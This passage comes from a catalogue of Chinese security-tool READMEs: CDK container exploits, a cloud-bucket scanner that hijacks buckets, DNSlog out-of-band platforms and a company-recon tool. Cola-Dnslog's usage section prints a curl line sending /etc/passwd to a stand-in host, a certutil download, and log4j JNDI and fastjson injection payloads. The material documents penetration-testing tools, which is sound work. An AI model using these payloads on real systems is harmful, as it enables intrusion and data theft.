                                                                        | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-backdoor-daemonset)         |\n| Persistence          | Deploy Shadow K8s api-server                               | k8s-shadow-apiserver   | ✔         || [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-shadow-apiserver) |\n| Persistence          | K8s MITM Attack (CVE-2020-8554)                            | k8s-mitm-clusterip     | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Evaluate:-k8s-mitm-clusterip)            |\n| Persistence          | Deploy K8s CronJob                                         | k8s-cronjob            | ✔         | ✔                                                                          | [link](https://github.com/cdk-team/CDK/wiki/Exploit:-k8s-cronjob)                    |\n\n**Note about Thin:** The **thin release** is prepared for short life container shells such as serverless functions. We add build tags in source code and cut a few exploits to get the binary lighter. The 2MB file contains 90% of CDK functions, also you can pick up useful exploits in CDK source code to build your own lightweight binary.\n\n### Tool Module\n\nRunning commands like in Linux, little different in input-args, see the usage link.\n```\ncdk nc [options]\ncdk ps\n```\n\n|Command|Description|Supported|Usage/Example|\n|---|---|---|---|\n|nc|TCP Tunnel|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-nc)|\n|ps|Process Information|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ps)|\n|ifconfig|Network Information|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ifconfig)|\n|vi|Edit Files|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-vi)|\n|ectl|Unauthorized enumeration of ectd keys|✔||\n|kcurl|Request to K8s api-server|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-kcurl)|\n|dcurl|Request to Docker HTTP API|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-dcurl)|\n|ucurl|Request to Docker Unix Socket|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-ucurl)|\n|rcurl|Request to Docker Registry API|||\n|probe|IP/Port Scanning|✔|[link](https://github.com/cdk-team/CDK/wiki/Tool:-probe)|\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n- 2022-11-11 发布演示视频[404星链计划开源安全工具演示——CDK](https://www.bilibili.com/video/BV1DG4y1Z784/)\n- 2021-11-11 发布文章[《CDK:一款针对容器场景的多功能渗透工具》](https://mp.weixin.qq.com/s/fopvHFPAbbqtCE6SV9JerQ)\n\n## 最近更新\n\n#### [v1.5.6] - 2026-02-23\n\n**更新**  \n- 添加cgroup2_ebpf_bypass容器逃逸漏洞 \n-  添加容器安全隔离检查以评估模块 \n- 修复（eva）：重命名服务发现文件\n\n\n#### [v1.5.5] - 2025-02-23\n\n**更新**  \n- 修复新的调试日志，未来需要修复该错误  \n- 修复 gh action 中路径中未找到 gox 的问题  \n- 修复 gh action 由于使用了弃用版本而自动失败的问题  \n- 修复 shim-pwn 合并目录在路径中出现两次的问题\n\n#### [v1.5.4] - 2024-11-15\n\n**更新**  \n- 修复合并目录在路径中出现两次的问题  \n- 修复添加测试 poc，Github Action 中出现未知错误的问题  \n- 优化漏洞列表的输出  \n- 在所有漏洞中添加类型字符串  \n- 修复 github action 检查因未知问题而失败的问题  \n- 添加漏洞的基本结构  \n- 重新组织漏洞包中的 exp 文件  \n- 在 cmd 行中运行二进制本机 kubectl 的保留路径  \n- 修复在路径中找不到 gox 的问题  \n- 修复使用了弃用版本而自动失败的问题\n\n#### [v1.5.3] - 2024-05-19\n\n**更新**  \n- 为 docker rootfs 适配 docker devicemapper 文件系统  \n- 增加查看网络连接信息  \n- 修复 k8s apiserver 中超时问题  \n- 添加netstat文档  \n- 修复 cgroup 后半部分切片长度错误\n\n#### [v1.5.2] - 2023-03-12\n\n**更新**  \n- 支持 linux 环境下的不同容器运行时，如 containerd、runc、docker  \n- 修复shadow-apiserver匿名访问无效的issue，支持新版本的k8s，如 v1.23.1  \n- 添加迭代部分功能的消息提醒\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Cloud-Bucket-Leak-Detection-Tools.md",
    "content": "## Cloud-Bucket-Leak-Detection-Tools <https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-UzJu-orange)\n![GitHub stars](https://img.shields.io/github/stars/UzJu/Cloud-Bucket-Leak-Detection-Tools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.4.0-red)\n![Time](https://img.shields.io/badge/Join-20220829-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n```bash\ngit clone https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools.git\ncd Cloud-Bucket-Leak-Detection-Tools/\n# 安装依赖 建议使用Python3.8以上的版本 我的版本: Python 3.9.13 (main, May 24 2022, 21:28:31)\n# 已经测试版本如下\n# 1、python3.8.9\n# 2、python3.9.13\n# 3、python3.7\n# 4、python3.6.15\n# 5、python3.9.6\npip3 install -r requirements.txt\npython3 main.py -h\n```\n\n![image-20220716140707903](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716140707903.png)\n\n使用之前需要在`config/conf.py`文件配置自己对应的云厂商AK\n\n![image-20220716140934866](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716140934866.png)\n\n## 1、阿里云存储桶\n\n### 1.1、单个存储桶检测\n\n```bash\npython3 main.py -aliyun [存储桶URL]\n```\n\n![image-20220716141132931](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716141132931.png)\n\n### 1.2、自动存储桶劫持\n\n当如果检测存储桶不存在时会自动劫持该存储桶\n\n![image-20220703202339058](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220703202339058.png)\n\n### 1.3、批量存储桶地址检测\n\n```bash\n# fofa语法\ndomain=\"aliyuncs.com\"\nserver=\"AliyunOSS\"domain=\"aliyuncs.com\"\n```\n\n```bash\n# 使用-faliyun\npython3 main.py -faliyun url.txt\n```\n\n![image-20220716141356518](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716141356518.png)\n\n## 2、腾讯云存储桶\n\n```bash\npython3 main.py -tcloud [存储桶地址]\n```\n\n![image-20220716141554856](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716141554856.png)\n\n## 3、华为云存储桶\n\n```bash\npython3 main.py -hcloud [存储桶地址]\n```\n\n![image-20220716141948046](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716141948046.png)\n\n## 4、AWS存储桶\n\n```bash\npython3 main.py -aws [存储桶地址]\n```\n\n![image-20220716142431142](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716142431142.png)\n\n## 5、扫描结果保存\n\n扫描结果会存放在`results`目录下\n\n![image-20220716142617997](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716142617997.png)\n\n![image-20220716142641883](https://github.com/UzJu/Cloud-Bucket-Leak-Detection-Tools/raw/main/images/image-20220716142641883.png)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/CodeReviewTools.md",
    "content": "## CodeReviewTools <https://github.com/Ppsoft1991/CodeReviewTools>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-Ppsoft1991-orange)\n![GitHub stars](https://img.shields.io/github/stars/Ppsoft1991/CodeReviewTools.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.1.0-red)\n![Time](https://img.shields.io/badge/Join-20210323-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\nHW竞争越来越激烈的年代，谁能在指定时间内打下更多的点，谁就能在内网中抢下先机。\n\n在HW项目中，在有源码的情况下为了快速冲下一个站，势必需要提升自己看代码的速度，寻找最薄弱的环节。\n\n在做项目的时候发现几个问题，第一个就是拿到目标网站的war包载入idea，发现缺少某些class\n第二个就是某些class被分包编译在不同的jar包里面\n\n我们想快速搜索代码中的关键点，就必须得对jar包进行反编译。所以我写了CodeReviewTools\n\n## 🍭 目前功能\n\n- 通过正则搜索特定class名称\n- 通过正则直接反编译拥有特定groupId的jar包到某个目录\n\n```\nCodeReviewTools v1.0 by Ppsoft1991\n\nusage: java -jar CodeReviewTools.jar -m <method>\n-d,--dir <arg>      target path\n-f,--file <arg>     target file\n-h,--help           print help information\n-m,--method <arg>   [search, unzip, decompiler, clear, all, war]\n-n,--name <arg>     search class file or group name\n-o,--output <arg>   output path\n```\n\n\n工具release版本使用jdk 11.0.9编译，如需要1.8版本请自行下载源码编译使用\n\n## 💡 例子\n- 获得war包，一键反编译classes\n  \n  ```java -jar CodeReviewTools.jar -m war -f webapps.war```\n\n  ![](https://github.com/Ppsoft1991/CodeReviewTools/raw/main/pic/2021-03-24_01-30.png)\n  \n  会在-f制定的war包目录下生成对应的zip文件\n\n- 想快速寻找哪些jar包存在名为*Controller的jar文件\n\n    ```java -jar CodeReviewTools.jar -m search -n \"nc(.)*Controller\\$\" -d \"home/\"```\n\n    ![](https://github.com/Ppsoft1991/CodeReviewTools/raw/main/pic/2021-03-10_14-07.png)\n\n- 想快速解压jar包中包含groupId为com.yxxxx的jar并且反编译存储在/tmp/nc\n\n    ```java -jar CodeReviewTools.jar -m all -n \"com.yxxx(.)*\" -d \"home/lib\" -o \"/tmp/nc\" ```\n    \n    ![](https://github.com/Ppsoft1991/CodeReviewTools/raw/main/pic/2021-03-10_13-54.png)\n\n    效果：\n    ![](https://github.com/Ppsoft1991/CodeReviewTools/raw/main/pic/2021-03-10_14-17.png)\n  \n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/Cola-Dnslog.md",
    "content": "## Cola-Dnslog <https://github.com/AbelChe/cola_dnslog>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Python-blue)\n![Author](https://img.shields.io/badge/Author-AbelChe-orange)\n![GitHub stars](https://img.shields.io/github/stars/AbelChe/cola_dnslog.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.0.1-red)\n![Time](https://img.shields.io/badge/Join-20220829-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nCola Dnslog 是一款更加强大的dnslog平台（无回显漏洞探测辅助平台），\n\n- 完全开源\n- 支持dns http ldap rmi等协议\n- 提供API调用方式便于与其他工具结合\n- 支持钉钉机器人、Bark等提醒\n- 支持docker一键部署\n\n\n------\n\n涉及到技术、框架：\n\n`dns` `http` `ldap` `rmi` `webui` `vue-element-admin` `fastapi` `sqlite`\n\n可帮助检测漏洞：\n\n`log4j2` `fastjson` `ruoyi` `Spring` `RCE` `Blind SQL` `Bland XXE`\n\n特色：\n\n`Dingtalk Robot` `Bark` `API` `ldaplog` `rmilog` `Docker`\n\n## 🥯 使用方法\n\n> 假设你购买的域名为`example.com`\n>\n> 你的vps ip为`1.1.1.1`\n\n### 域名\n\n请自行购买域名，并将域名的解析服务器托管至部署cola_dnslog的服务器\n\n以godaddy为例\n\n1. 配置域名解析处右上角三个点，点击Host Names\n\n![image-20220717175903352](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717175903352.png)\n\n2. 修改或新增主机名如下图所示，ip地址填写你的vps地址即可\n\n![image-20220717180002176](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717180002176.png)\n\n3. 回到dns管理，将域名服务器修改为`ns1.example.com`和`ns2.example.com`\n\n![image-20220717180242944](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220717180242944.png)\n\n### 安装部署\n\n> 因为一些国内网络众所周知的原因，大多数同学使用国内VPS都会卡在前端npm构建的时候，目前暂未找到更好的解决方案，建议使用国外或者网络畅通的VPS搭建。\n>\n> 欢迎大家提issues!\n\n#### Docker（推荐）\n\n##### 一键启动（推荐）\n\n1. 下载源码\n\n```sh\ngit clone https://github.com/Abelche/cola_dnslog.git\ncd cola_dnslog\n```\n\n2. 修改docker-compose.yml中environment变量\n\n```yml\n...\n  server:\n    ...\n    environment:\n      DNS_DOMAIN: example.com # 自己的域名\n      NS1_DOMAIN: ns1.example.com # ns1绑定\n      NS2_DOMAIN: ns2.example.com # ns2绑定\n      SERVER_IP: 1.1.1.1 # vps ip\n      HTTP_PORT: 80 # httplog服务端口\n      HTTP_RESPONSE_SERVER_VERSION: nginx # httplog返回头的服务端信息Server: nginx\n      LDAP_PORT: 1389 # ldaplog服务端口\n      RMI_PORT: 1099 # rmilog服务端口\n    ...\n  front:\n  \t...\n    environment:\n      API_BASE_URL: 'http://1.1.1.1:28001' # http://vpsip:28001 / http://example.com:28001\n    ...\n\n```\n\n3. 启动\n\n```sh\ndocker-compose up -d\n```\n\n4. 启动之后查看docker日志或者查看info.txt获取账号信息\n\n> server端程序运行会在程序根目录创建一个info.txt用于记录初始化的账号信息\n\n```sh\ndocker-compose logs\ndocker exec -it <container_id> cat /coladnslog/info.txt\n```\n\n![image-20220812005813825](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220812005813825.png)\n\n> 如果需要自定义端口，请修改`docker-compose.yml`的端口映射`ports`即可\n\n\n\n##### 前后端分离部署\n\n服务端：\n\n```sh\ngit clone https://github.com/Abelche/cola_dnslog.git\ncd cola_dnslog\n\ndocker build -t coladnslog_server -f Dockerfile_server .\ndocker run -itd \\\n-e DNS_DOMAIN=example.com \\\n-e NS1_DOMAIN=ns1.example.com \\\n-e NS2_DOMAIN=ns2.example.com \\\n-e SERVER_IP=1.1.1.1 \\\n-e HTTP_PORT=80 \\\n-e HTTP_RESPONSE_SERVER_VERSION=nginx \\\n-e LDAP_PORT=1389 \\\n-e RMI_PORT=1099 \\\n--net=host \\\n--name ColaDnslog_server coladnslog_server\n```\n\n客户端：\n\n```sh\ngit clone https://github.com/Abelche/cola_dnslog.git\ncd cola_dnslog\n\nsudo docker build --build-arg VERSION=v1.3.2 -t coladnslog_front -f Dockerfile_front .\nsudo docker run -itd \\\n-p 18080:80 \\\n-e \"API_BASE_URL=http://1.2.3.4:28001\" \\\n--name ColaDnslog_front coladnslog_front\n```\n\n\n\n#### 源码安装\n\n共分四步\n\n##### **第一步 下载源码**\n\n下载源码\n\n```sh\ngit clone https://github.com/Abelche/cola_dnslog.git\n```\n\n> 我习惯于将服务用`tmux`放到后台运行\n\n##### **第二步 启动webserver**\n\n安装python（python>=3.7）依赖\n\n注意，需要用python3.7及以上版本，否则会有兼容性问题，多python推荐使用conda\n\n```sh\ncd cola_dnslog\npip install -r requirements.txt\n```\n\n修改根目录下的`config.yaml`\n\n主要需要修改`DNS_DOMAIN` `NS1_DOMAIN` `NS2_DOMAIN` `SERVER_IP`\n\n可选: 修改`HTTP_RESPONSE_SERVER_VERSION`伪造http返回中Server字段\n\n```yaml\nglobal:\n  DB_FILENAME: sqlite.db\n\nlogserver:\n  DNS_DOMAIN: example.com\n  NS1_DOMAIN: ns1.example.com\n  NS2_DOMAIN: ns2.example.com\n  SERVER_IP: 1.1.1.1\n  DNS_PORT: 53\n  HTTP_HOST: 0.0.0.0\n  HTTP_PORT: 80\n  HTTP_RESPONSE_SERVER_VERSION: nginx\n  LDAP_HOST: 0.0.0.0\n  LDAP_PORT: 1389\n  RMI_HOST: 0.0.0.0\n  RMI_PORT: 1099\n\nwebserver:\n  HOST: 0.0.0.0\n  PORT: 28001\n  PASSWORD_SALT: 随便一长串字符串，如：cuau89j2iifdas8\n```\n\n启动webserber端和logserver端，注意这里一定要先启动webserver端（因为要先通过webserver端初始化数据库，初始化之后会在终端输出账号、密码、token、logid等信息。\n\n```sh\nchmod +x start_webserver\n./start_webserver\n```\n\n![image-20220730035846090](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730035846090.png)\n\n\n##### **第三步 启动logserver**(需要root权限)\n\n```sh\nchmod +x start_logserver\nsudo ./start_logserver\n```\n\n![image-20220730160132103](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220730160132103.png)\n\n\n##### **第四步 启动前端**\n\n现在来到前端（不一定要和webserver放在一起，你甚至可以通过electron打包成本地客户端），先修改配置文件`.env.production`\n\n```sh\ncd src/front\nvim .env.production\n```\n\n```ini\n# just a flag\nENV = 'production'\n\n# base api\nVUE_APP_BASE_API = 'http://1.1.1.1:28001'\n\nTARGET_API = 'http://1.1.1.1:28001'\n```\n\n然后npm安装依赖、打包、启动http服务（这里可以随意选择http服务器，为了方便我直接用python启动）\n\n```sh\ncd src/front\nnpm install\nnpm run build:prod\n\ncd dist\npython3 -m http.server 18001\n```\n\n至此，三端（webserver端、logserver端、webui前端）已经全部开启！\n\n这时，访问http://1.1.1.1:18001应该可以看到登录页面！\n\n玩得开心！\n\n### 钉钉机器人\n\n在钉钉群新建机器人，安全设置：添加自定义关键词`coladnslog`\n\n![image-20220731231424000](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731231424000.png)\n\n并获取到webhook的token，注意，只需要填写token即可\n\n![image-20220731231912885](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731231912885.png)\n\n进入webui，修改Dingtalk Robot Token为上文获取的token，点击Update保存即可\n\n![image-20220802020311279](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220802020311279.png)\n\n效果如下：\n\n<img src=\"https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220731231301577.png\" alt=\"image-20220731231301577\" style=\"zoom:33%;\" />\n\n### Bark\n\n[Finb/Bark: Bark is an iOS App which allows you to push custom notifications to your iPhone (github.com)](https://github.com/Finb/Bark)\n\n[Finb/bark-server: Backend of Bark (github.com)](https://github.com/Finb/bark-server)\n\n同上 进入webui，开启Bark开关，然后修改bark url，点击Update保存\n\n![image-20220802015907678](https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220802015907678.png)\n\n效果如下：\n\n<img src=\"https://github.com/AbelChe/cola_dnslog/raw/main/readme_resource/image-20220802015642879.png\" alt=\"image-20220802015642879\" style=\"zoom: 25%;\" />\n\n### 如何使用\n\n上文提到，假定我的域名和ip是`example.com`和`1.1.1.1`，并且我们账户的logid为`qrq`\n\n#### DNS\n\n```sh\nnsloopup `whoami`.qrq.example.com\nping `whoami`.qrq.example.com\n```\n\n#### HTTP\n\n```sh\ncurl 1.1.1.1/qrq/some/info\ncurl -d @/etc/passwd 1.1.1.1/qrq/postdata\ncertutil -urlcache -split -f http://1.1.1.1/x x\n```\n\n#### LDAP\n\nlog4j2 fastjson等可以使用此方法\n\n注意这里必须要令最后路径的最后作为logid，如：`ldapqrq` `xxxxqrq` `qrq` `xxx/qrq`\n\n```\n${jndi:ldap://1.1.1.1:1389/ldapqrq}\n{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://1.1.1.1:1389/ldapqrq\", \"autoCommit\":true}\n```\n\n#### RMI\n\n同上，log4j2 fastjson等\n\n```\n${jndi:rmi://1.1.1.1:1099/rmiqrq}\n{ \"b\":{ \"@type\":\"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\":\"rmi://1.1.1.1:1099/rmiqrq\", \"autoCommit\":true } }\n```\n\n## 👀 概览\n\n### 登录\n\n![image-20220730151326711](readme_resource/image-20220730151326711.png)\n\n\n\n### 首页\n\n![image-20220731143149729](readme_resource/image-20220731143149729.png)\n\n\n\n### Dnslog\n\n![image-20230204200108337](readme_resource/image-20230204200108337.png)\n\n\n\n### Httplog\n\n![image-20230204200455783](readme_resource/image-20230204200455783.png)\n\n\n\n### Ldaplog\n\n![image-20230204201704004](readme_resource/image-20230204201704004.png)\n\n\n\n### Rmilog\n\n![image-20230204201750497](readme_resource/image-20230204201750497.png)\n\n\n\n### 账号信息\n\n![image-20220801003540673](readme_resource/image-20220801003540673.png)\n\n\n\n### 钉钉机器人\n\n<img src=\"readme_resource/image-20220731231301577.png\" alt=\"image-20220731231301577\" style=\"zoom: 25%;\" />\n\n\n\n### Bark\n\n<img src=\"readme_resource/image-20220802015642879.png\" alt=\"image-20220802015642879\" style=\"zoom: 25%;\" />\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/CyberStrikeAI.md",
    "content": "## CyberStrikeAI <https://github.com/Ed1s0nZ/CyberStrikeAI>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-go-blue)\n![Author](https://img.shields.io/badge/Author-Ed1s0nZ-orange)\n![GitHub stars](https://img.shields.io/github/stars/Ed1s0nZ/CyberStrikeAI.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V1.3.23-red)\n![Time](https://img.shields.io/badge/Join-20251229-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v1.3.23] - 2026-03-10\n\n - 更新 config.yaml\n\n\n#### [v0.0.11] - 2025-12-28\n\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/DNSlog-GO.md",
    "content": "## DNSlog-GO <https://github.com/lanyi1998/DNSlog-GO>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-lanyi-orange)\n![GitHub stars](https://img.shields.io/github/stars/lanyi1998/DNSlog-GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.3.1-red)\n![Time](https://img.shields.io/badge/Join-20220316-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\nDNSLog-GO 是一款golang编写的监控 DNS 解析记录的工具，自带多用户WEB界面\n\n演示截图:\n\n![avatar](https://github.com/lanyi1998/DNSlog-GO/raw/master/images/demo.png)\n\n安装\n---\n\n详细图文教程:https://mp.weixin.qq.com/s/m_UXJa0imfOi721bkBpwFg\n\n# 1.获取发行版\n\n这里 https://github.com/lanyi1998/DNSlog-GO/releases 下载最新发行版,并解压\n\n或者docker启动\n```shell\nwget https://raw.githubusercontent.com/lanyi1998/DNSlog-GO/master/config.yaml\n#修改你的config.yaml文件\ndocker run -d -p 53:53 -p 53:53/udp -p 8000:8000 -v `pwd`/config.yaml:/DNSlog-GO/config.yaml --name dnslog --privileged lanyi1998/dnslog-go:latest\n#设置开机启动\ndocker update --restart=always dnslog\n```\n\n# 2.域名与公网 IP 准备\n\n```\n搭建并使用 DNSLog，你需要拥有一个域名如(a.com),还需要有一个公网 IP 地址(如：1.1.1.1)\n    \n修改 a.com 的 NS 记录为 \n\nNS1.vpsip.NIP.IO\nNS2.vpsip.NIP.IO\n\n如 \nns1.1.1.1.1.nip.io\nns1.1.1.1.1.nip.io\n\n本步骤中，需要在域名提供商提供的页面进行设置，部分域名提供商只允许修改 NS 记录为已经认证过的 NS 地址。所以需要找一个支持修改 NS 记录为自己 NS 的域名提供商。\n    \n注意: NS 记录修改之后部分地区需要 24-48 小时会生效\n```\n\n# 3.修改配置文件 config.ini\n\n```\nHTTP:\n  port: 8000 //http web监听端口\n  #{\"token\":\"用户对应子域名\"}\n  user: { \"admin\": \"admin\" } //用户admin 对应的dnslog子域名是 admin.demo.com\n  consoleDisable: false  //是否关闭web页面\nDns:\n  domain: demo.com //dnslog域名\n```\n\n# 4.启动对应系统的客户端\n\n**注意服务端重启以后，如果修改了用户对应子域名，必须清空一下浏览器中的localStorage,否则会获取不到数据**\n\n---\n\nAPI Python Demo\n\n```python\nimport requests\nimport random\nimport json\n\n\nclass DnsLog():\n    domain = \"\"\n    token = \"\"\n    Webserver = \"\"\n\n    def __init__(self, Webserver, token):\n        self.Webserver = Webserver  # dnslog的http监听地址，格式为 ip:端口\n        self.token = token  # token\n        # 检测DNSLog服务器是否正常\n        try:\n            res = requests.post(\"http://\" + Webserver + \"/api/verifyToken\", json={\"token\": token}).json()\n            self.domain = res.Msg\n        except:\n            exit(\"DnsLog 服务器连接失败\")\n        if res[\"Msg\"] == \"false\":\n            exit(\"DnsLog token 验证失败\")\n\n    # 生成随机子域名\n    def randomSubDomain(self, length=5):\n        subDomain = ''.join(random.sample('zyxwvutsrqponmlkjihgfedcba', length)) + '.' + self.domain\n        return subDomain\n\n    # 验证子域名是否存在\n    def checkDomain(self, domain):\n        res = requests.post(\"http://\" + self.Webserver + \"/api/verifyDns\", json={\"Query\": domain},\n                            headers={\"token\": self.token}).json()\n        if res[\"Msg\"] == \"false\":\n            return False\n        else:\n            return True\n\n\nurl = \"http://192.168.41.2:8090/\"\n\ndns = DnsLog(\"1111:8888\", \"admin\")\n\nsubDomain = dns.randomSubDomain()\n\npayload = {\n    \"b\": {\n        \"@type\": \"java.net.Inet4Address\",\n        \"val\": subDomain\n    }\n}\n\nrequests.post(url, json=payload)\n\nif dns.checkDomain(subDomain):\n    print(\"存在FastJosn\")\n```\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n#### [v2.3.1] - 2026-01-21\n\n**修正** : \n- 增加client pool大小和时间，避免服务器还没有收到dnslog，client就已经开始验证\n\n\n#### [v2.3.0] - 2025-12-29\n\n**feat** : \n-SSRF请求获取功能\n\n\n#### [v2.2.2] - 2025-09-09\n\n**refactor(pkg/sdk)** : \n-更新 DnsLogClient 的 Clear 方法\n-将 clear 方法的首字母大写，改为 Clear，以符合 Go语言的导出规则\n- 添加了注释，明确了函数的功能\n\n\n#### [v2.2.0] - 2025-08-22\n\n**添加**  \n- 添加 LDAP 和 RMI 协议的 payload\n- 在 copyText 方法中增加了 LDAP 和 RMI 协议的 payload生成\n- 使用 location.protocol 和 location.host 生成 SSRF payload\n - 将 domain 的第一个部分作为 subdomain 使用\n - 添加了换行符以提高代码可读性\n \n\n#### [v2.1.4] - 2025-07-22\n\n**修复**  \n- getDnsData_clear api死锁的问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ENScanGo.md",
    "content": "## ENScanGo <https://github.com/wgpsec/ENScan_GO>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-wgpsec-orange)\n![GitHub stars](https://img.shields.io/github/stars/wgpsec/ENScan_GO.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.0.4-red)\n![Time](https://img.shields.io/badge/Join-20221117-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n剑指HW/SRC，解决在HW/SRC场景下遇到的各种针对国内企业信息收集难题\n\n## 🤷‍♂️郑重声明\n\n文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用，任何人不得将其用于非法用途以及盈利等目的，否则后果自行承担。\n\n使用均为公开数据，**不提供破解、绕过防护手段**，使用程序可能导致 ⌈账号异常⌋\n\n**若该程序影响或侵犯到您的合法权益，请与我们联系** admin#wgpsec.org(#替换为@)\n\n## ⚒️功能列表\n\n![ENScanGo](https://github.com/wgpsec/ENScan_GO/raw/master/README/ENScanGo.png)\n\n- 支持以下数据源\n    - 爱企查\n    - 天眼查\n    - 快查\n    - 企查查（不提供）\n    - 小蓝本（不提供）\n- 数据插件\n    - 阿拉丁 （数据反馈比较老旧暂时下线）\n    - 酷安市场\n    - 七麦数据\n    - 备案信息查询API\n\n- 可查询信息\n    - ICP备案\n    - APP\n    - 微博\n    - 微信公众号\n    - 控股公司\n    - 供应商\n    - 小程序\n    - 公开招聘信息\n    - 对外投资信息\n    - ...\n- 实用功能\n    - 支持合并导出\n    - 正则过滤公司\n    - 支持深度查询 收集多层孙公司\n    - 支持API模式提供工具联动\n\n\n## 使用指南\n\n### 首次使用\n\n前往[RELEASE](https://github.com/wgpsec/ENScan_GO/releases)下载编译好的文件使用\n\n首次使用时需要使用 -v 命令生成配置文件并配置Cookie\n\n```\n./enscan -v\n```\n\n### 快速使用\n\n*如遇到无法访问等情况，可自行尝试挂上burp或代理*\n\n**默认公司信息** (网站备案, 微博, 微信公众号, app)\n\n```\n./enscan -n 小米\n```\n\n**批量查询**（ 文本按行分隔 可选PID模式）\n\n```\n./enscan -f f.txt\n```\n\n**对外投资占股100%的公司**\n\n```\n./enscan -n 小米 -invest 100\n```\n\n**组合筛选**\n\n大于51%公司、分支机构，只要ICP备案信息\n\n```\n./enscan -n 小米 -field icp -invest 51  --branch\n```\n\n收集孙公司 (deep参数，需要与invest一起使用) 大于51%公司、分支机构，只要ICP备案信息\n\n```\n./enscan -n 小米 -field icp -invest 51 --branch --deep 